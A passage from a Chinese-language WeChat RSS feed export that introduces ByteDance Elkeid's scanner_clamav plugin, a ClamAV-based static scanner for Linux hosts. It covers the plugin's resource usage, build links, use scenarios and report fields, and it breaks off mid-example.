mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="">8. Elkeid 企业版申请试用</p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><p><span style="color: rgb(61, 170, 214);">elkeid@bytedance.com</span></p><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t"><br/></section><section style="background: #E7F1EE;border-radius: 4px;" data-mid="" mpa-from-tpl="t"><section style="height: 42px;transform: translate(-4px, -4px);background: rgb(255, 255, 255);border-radius: 4px;border-width: 1px;border-style: dotted;border-color: rgb(16, 86, 58);text-align: center;padding: 0px 24px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Medium, PingFang SC;font-weight: bold;color: #000000;line-height: 42px;" data-mid="">9. 企业版介绍</p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><p><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484252&amp;idx=1&amp;sn=20b194dc29141134c52809dec51dd690&amp;chksm=ea305789dd47de9f3ccc4bbc4943b943aad79a80742bdcc5a4a920a4dd80bca00b7ba88a3ea2&amp;scene=21#wechat_redirect" textvalue="Elkeid 企业版 v1.7.1 正式发布" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">Elkeid 企业版 v1.7.1 正式发布</a><br/></p>



<p><a href="2247484272">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=03e0b704&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484272%26idx%3D1%26sn%3D2a21721554b327630e3d92fd7a2415c5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 12 May 2022 16:29:00 +0800</pubDate>
    </item>
    <item>
      <title>Elkeid 插件介绍-scanner_clamav</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484258&amp;idx=1&amp;sn=692ba3f0d1930526592dd7bdceeb781f</link>
      <description>Elkeid 静态检测插件 scanner_clamav 介绍</description>
      <content:encoded><![CDATA[<p>
原创 <span>Elkeid Team</span> <span>2022-04-25 09:57</span> <span style="display: inline-block;"></span>
</p>

<p>Elkeid 静态检测插件 scanner_clamav 介绍</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=968d8a25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVwwaG7w4o9UReeRff8bcqet42tY7Zvy5rLUUwulyLwZ9tgiajMB5pU2WYSmvNblnPMicHjC5anLibg7Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: left;" data-mpa-powered-by="yiban.io">Elkeid 静态检测插件 scanner_clamav ，使用clamav 引擎：<span style="text-decoration: underline;color: rgb(0, 122, 170);"><a href="https://docs.clamav.net/Introduction.html " target="_blank">https://docs.clamav.net/Introduction.html </a></span>对 Linux 系统进程和敏感目录进行周期扫描，以发现可疑静态文件（UPX/挖矿二进制/挖矿脚本/可疑脚本文件/...）。</p><p style="text-align: left;"><span data-lark-record-data="{&#34;isCut&#34;:false,&#34;pasteFlag&#34;:&#34;840177ed-6de9-4cd3-a3dc-7895d71bbb42&#34;,&#34;rootId&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;parentId&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;start&#34;:0,&#34;end&#34;:0,&#34;blockIds&#34;:[2],&#34;recordIds&#34;:[&#34;doxcnkKq0u0uGWYEasXyg6Yooyh&#34;],&#34;recordMap&#34;:{&#34;doxcnkKq0u0uGWYEasXyg6Yooyh&#34;:{&#34;id&#34;:&#34;doxcnkKq0u0uGWYEasXyg6Yooyh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:4,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;32e84214-411b-47a0-b504-633efafb7856\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;1&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;2&#34;:[&#34;link-id&#34;,&#34;0019cb2c-606d-4366-a5c6-b64d56ed1313&#34;],&#34;3&#34;:[&#34;underline&#34;,&#34;true&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0*1+6*1+13*1*2*3+15*1*2+1*1+1p&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;Elkeid 静态检测插件 scanner_clamav ，使用 [clamav 引擎](https://docs.clamav.net/Introduction.html)对 Linux 系统进程和敏感目录进行周期扫描，以发现可疑静态文件（UPX/挖矿二进制/挖矿脚本/可疑脚本文件/...）。&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;:{&#34;id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;page&#34;,&#34;parent_id&#34;:&#34;&#34;,&#34;comments&#34;:null,&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnkKq0u0uGWYEasXyg6Yooyh&#34;,&#34;doxcncsCOcogCGEi2YJFK9NMKod&#34;,&#34;doxcny4OA2Cm6AqaSm0XwyNsSOb&#34;,&#34;doxcnamECEk0yi46MC2VhYNCV3b&#34;,&#34;doxcnAQoW0cIWuKI6i6aLBvZIub&#34;,&#34;doxcnWomQKGyKwwSQ85haJhYwgf&#34;,&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;doxcnekgoosO0eSK2KGv51SJJoh&#34;,&#34;doxcnsik2UmMGSU4ysVBOHllj3f&#34;,&#34;doxcnoiaGwsSIssAUkTeKVxwf2f&#34;,&#34;doxcniEyagY266cWA4KeudN0YMd&#34;,&#34;doxcnM8IoeMw8e0my0CBNsMszXe&#34;,&#34;doxcnAciQK8WSmaiEugIikcFjwc&#34;,&#34;doxcn642QUMWWO6Y84naA1cPLpb&#34;,&#34;doxcnMQ0guCks0sG4LUdX7nZSC7&#34;,&#34;doxcnuoqs86K0a8eMhIUTgZbjdq&#34;,&#34;doxcneOWkko0AgAmWcXiT8eTfvc&#34;,&#34;doxcnuqWcCAa6muUS1zrUyCPUOp&#34;,&#34;doxcneym6eCOwA0oiEpZBBvnyib&#34;,&#34;doxcnygEEIaUMOAqQ23YLL24K6d&#34;,&#34;doxcnegwqqEC4ykyY8hi3GLhkPd&#34;,&#34;doxcnkyGWg8AAW0CC8v5zGEp3vB&#34;,&#34;doxcnakmuEG8Qe42go1rphYUy8f&#34;,&#34;doxcnOQs2YQ2yym2giYTVgH3kkf&#34;,&#34;doxcns0EK8Iw02wmISAq9YkaMlc&#34;,&#34;doxcnssmyw088GGkuOIbOCDUdDe&#34;,&#34;doxcnMWy6kiSaEiwIS8xAzNvH3b&#34;,&#34;doxcnIMgcMC06UK8ccBRXfZk08f&#34;,&#34;doxcnUWigEAqS0sWi2Z7pGcNbbc&#34;,&#34;doxcn8cOoeu8kUCweAEDWNKPm20&#34;,&#34;doxcnGqg8weKweAGC43LOvVi7hb&#34;,&#34;doxcne0g4yiaeMqm6iCklCTiSke&#34;,&#34;doxcnkIao40WG4Y6MOqGxWfZVYc&#34;,&#34;doxcnsMC8OQkO6OQaSitz6soPah&#34;,&#34;doxcnq2oewiIAsyYkymNbjMNWic&#34;,&#34;doxcnIgKC2oWYgkQsaAp5hcDepg&#34;,&#34;doxcnkieuywEmIGuGrSUMDf0kwl&#34;,&#34;doxcnQIoW6UAeec0GYVRUu4EOzc&#34;,&#34;doxcnIwE4G6y6mO0ozn24f3AUMs&#34;,&#34;doxcncKK48ewmoyoI4pdHhBA4Mg&#34;,&#34;doxcnSQ4Se2ECIciykpQ7zMMFHS&#34;,&#34;doxcn8YGiwYgaEca2QlThvln6wg&#34;],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:3,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;],&#34;1&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;e63558b3-78c0-4874-9551-69dc73a7b98d\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_417,enterprise_27991004,enterprise_42409430,enterprise_53419422,enterprise_26713426,enterprise_52406100\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;],&#34;2&#34;:[&#34;abbreviation-data&#34;,&#34;{\&#34;id\&#34;:\&#34;4c7e7566-6b55-491f-be30-4e0d185e2fcb\&#34;,\&#34;abbr_ids\&#34;:\&#34;enterprise_7090017492916649987\&#34;,\&#34;is_visible\&#34;:1,\&#34;is_first\&#34;:1}&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+5*1*0+2*0+1*2*0+6*0+7&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;【开源版本PR】Elkeid 静态检测插件&#34;}}},&#34;align&#34;:&#34;&#34;}}},&#34;isRecordModified&#34;:false,&#34;payloadMap&#34;:{&#34;doxcnkKq0u0uGWYEasXyg6Yooyh&#34;:{&#34;level&#34;:1}},&#34;extra&#34;:{&#34;mention_page_title&#34;:{},&#34;external_mention_url&#34;:{}}}" data-lark-record-format="docx/record"></span></p><p style="text-align: left;">开源地址： <span style="color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid/tree/main/plugins/scanner_clamav" target="_blank">https://github.com/bytedance/Elkeid/tree/main/plugins/scanner_clamav</a></span></p><p style="text-align: left;"><span style="color: rgb(0, 122, 170);"><br/></span></p><h1><strong><span style="font-size: 18px;">1.插件介绍</span></strong></h1><p style="text-align: left;">在 Elkeid 的 agent 中，静态检测插件需要在极其有限的内存和CPU资源占用条件下，在不同发行版和内核版本的  Linux x64 架构系统上进行静态扫描，因此使用完全静态链接的 libclamav 库以及裁剪后的 clamav database 与 yara 规则实现。资源占用数据如下：</p><table data-ace-table-col-widths="170;153;145" width="500"><colgroup><col width="170"/><col width="153"/><col width="145"/></colgroup><tbody><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">Agent-插件占比 PCT</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">CPU 单核百分比</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">RSS Mb</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">静默</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">0</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">25.6</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">50</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">0.18</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">64.2</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">75</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">0.80</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">64.4</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">90</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">1.12</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">64.8</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">95</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">1.58</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">65</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">99</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">1.69</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">66</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">999</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">2.88</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">75</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-bottom-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">MAX</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-bottom-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">10</p></td><td colspan="1" rowspan="1" style="border-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">111</p></td></tr></tbody></table><p style="text-align: left;">（PCT.50~PCT.999 为 Agent 每次心跳上报的数据统计分布占比）</p><h1 style="text-align: left;"><span style="font-size: 18px;"><strong><br/></strong></span></h1><h1 style="text-align: left;"><span style="font-size: 18px;"><strong>2.使用方式</strong></span></h1><p style="text-align: left;">参考 Github readme</p><p style="text-align: left;">中文 <span style="color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README-zh_CN.md" target="_blank">https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README-zh_CN.md</a></span></p><p style="text-align: left;">英文 <span style="color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README.md" target="_blank">https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README.md</a></span></p><p style="text-align: left;">考虑到部分国内用户无法在编译时正常拉取 zlib、ssl 等标准库的代码，这里配置了 github action 对应的 dockerfile 编译方式，参见：</p><ul start="1" class="list-paddingleft-1"><li><p style="text-align: left;">Dockerfile</p></li></ul><p style="text-align: left;"><span style="color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/docker/Dockerfile" target="_blank">https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/docker/Dockerfile</a></span></p><ul start="1" class="list-paddingleft-1"><li><p style="text-align: left;">Github Action runner</p></li></ul><p style="text-align: left;"><span style="color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid/blob/main/.github/workflows/Elkeid.yml#L46" target="_blank">https://github.com/bytedance/Elkeid/blob/main/.github/workflows/Elkeid.yml#L46</a></span></p><ul start="1" class="list-paddingleft-1"><li><p style="text-align: left;">Action 产物</p></li></ul><p style="text-align: left;"><span style="color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid/actions/runs/2202809672" target="_blank">https://github.com/bytedance/Elkeid/actions/runs/2202809672</a></span></p><h1 style="text-align: left;"><br/></h1><h1 style="text-align: left;"><strong style="font-size: 18px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">3. 使用场景</strong><br/></h1><p style="text-align: left;">1.周期性扫描：对敏感目录和系统进程进行静态扫描</p><p style="text-align: left;">2.插件扫描任务：对静态检测插件下发扫描任务，对指定文件进行静态扫描</p><p style="text-align: left;">3.与策略联动：外网下载 &amp;  php/jsp/asp 文件创建扫描，以发现 webshell 上传</p><h2 style="text-align: left;"><br/></h2><h2 style="text-align: left;"><span style="font-size: 18px;"><strong>4. 数据说明</strong></span></h2><p style="text-align: left;">数据类型汇总</p><p style="margin-bottom: 0em;text-align: left;"><img class="rich_pages wxw-img" data-height="748" data-ratio="1.411320754716981" style="width: 343px;height: 484px;" data-type="png" data-w="530" data-width="530" src="https://wechat2rss.xlab.app/img-proxy/?k=79a97344&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVwwaG7w4o9UReeRff8bcqet682Qkxe8TMS84g89LLy6gibD85CWxyyTe6qfVAQ1h1BlTdrce5gY7ibQ%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="text-align: left;"><strong><span style="font-size: 18px;"><br/></span></strong></h3><h3 style="text-align: left;"><strong><span style="font-size: 18px;">4.1. 公共字段（6001 静态命中）</span></strong></h3><table data-ace-table-col-widths="100;322" width="500"><colgroup><col width="100"/><col width="322"/></colgroup><tbody><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">types</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">文件类型</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">class</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">恶意分类</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">name</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">恶意家族</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">exe</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">目标文件</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">exe_size</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">文件大小（byte）</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">exe_hash</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">快速hash，对标 driver exe_hash</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">md5_hash</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">md5</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">create_at</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">文件 brith_time, 文件系统不支持则为0</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-bottom-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">modify_at</p></td><td colspan="1" rowspan="1" style="border-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">文件修改时间, 文件系统不支持则为0</p></td></tr></tbody></table><h3 style="text-align: left;"><br/></h3><h3 style="text-align: left;"><span style="font-size: 18px;"><strong>4.2. 进程信息（6002 进程的可执行文件命中）</strong></span></h3><table data-ace-table-col-widths="100;322" width="500"><colgroup><col width="100"/><col width="322"/></colgroup><tbody><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">pid</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">目标进程pid</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">ppid</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">父进程 pid</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">pgid</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">父进程 组id</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">tgid</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">thread group id</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">argv</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">进程命令行 cmdline</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">comm</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">进程的命令名</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">sessionid</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">进程所在会话 ID</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">uid</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">用户ID</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-bottom-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">pns</p></td><td colspan="1" rowspan="1" style="border-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">Process name space</p></td></tr></tbody></table><h3 style="text-align: left;"><br/></h3><h3 style="text-align: left;"><strong><span style="font-size: 18px;">4.3. 插件扫描任务</span></strong></h3><table data-ace-table-col-widths="100;306" width="500"><colgroup><col width="100"/><col width="306"/></colgroup><tbody><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">error</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">扫描任务执行错误信息（如果有）</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">token</p></td><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-right-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">扫描任务 token</p></td></tr><tr style="height:39px;"><td colspan="1" rowspan="1" style="border-left-color: rgb(222, 224, 227);border-top-color: rgb(222, 224, 227);border-bottom-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">{custom}</p></td><td colspan="1" rowspan="1" style="border-color: rgb(222, 224, 227);font-size: 10pt;"><p style="text-align: left;">自定义数据</p></td></tr></tbody></table><p style="text-align: left;">在 示例 <span style="color: rgb(0, 122, 170);"><a href="https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README-zh_CN.md#%E6%89%AB%E6%8F%8F%E4%BB%BB%E5%8A%A1" target="_blank">https://github.com/bytedance/Elkeid/blob/main/plugins/scanner_clamav/README-zh_CN.md#%E6%89%AB%E6%8F%8F%E4%BB%BB%E5%8A%A1</a></span> 中，</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;id_list&#34;</span>: [</span></code><code><span class="code-snippet_outer">        <span 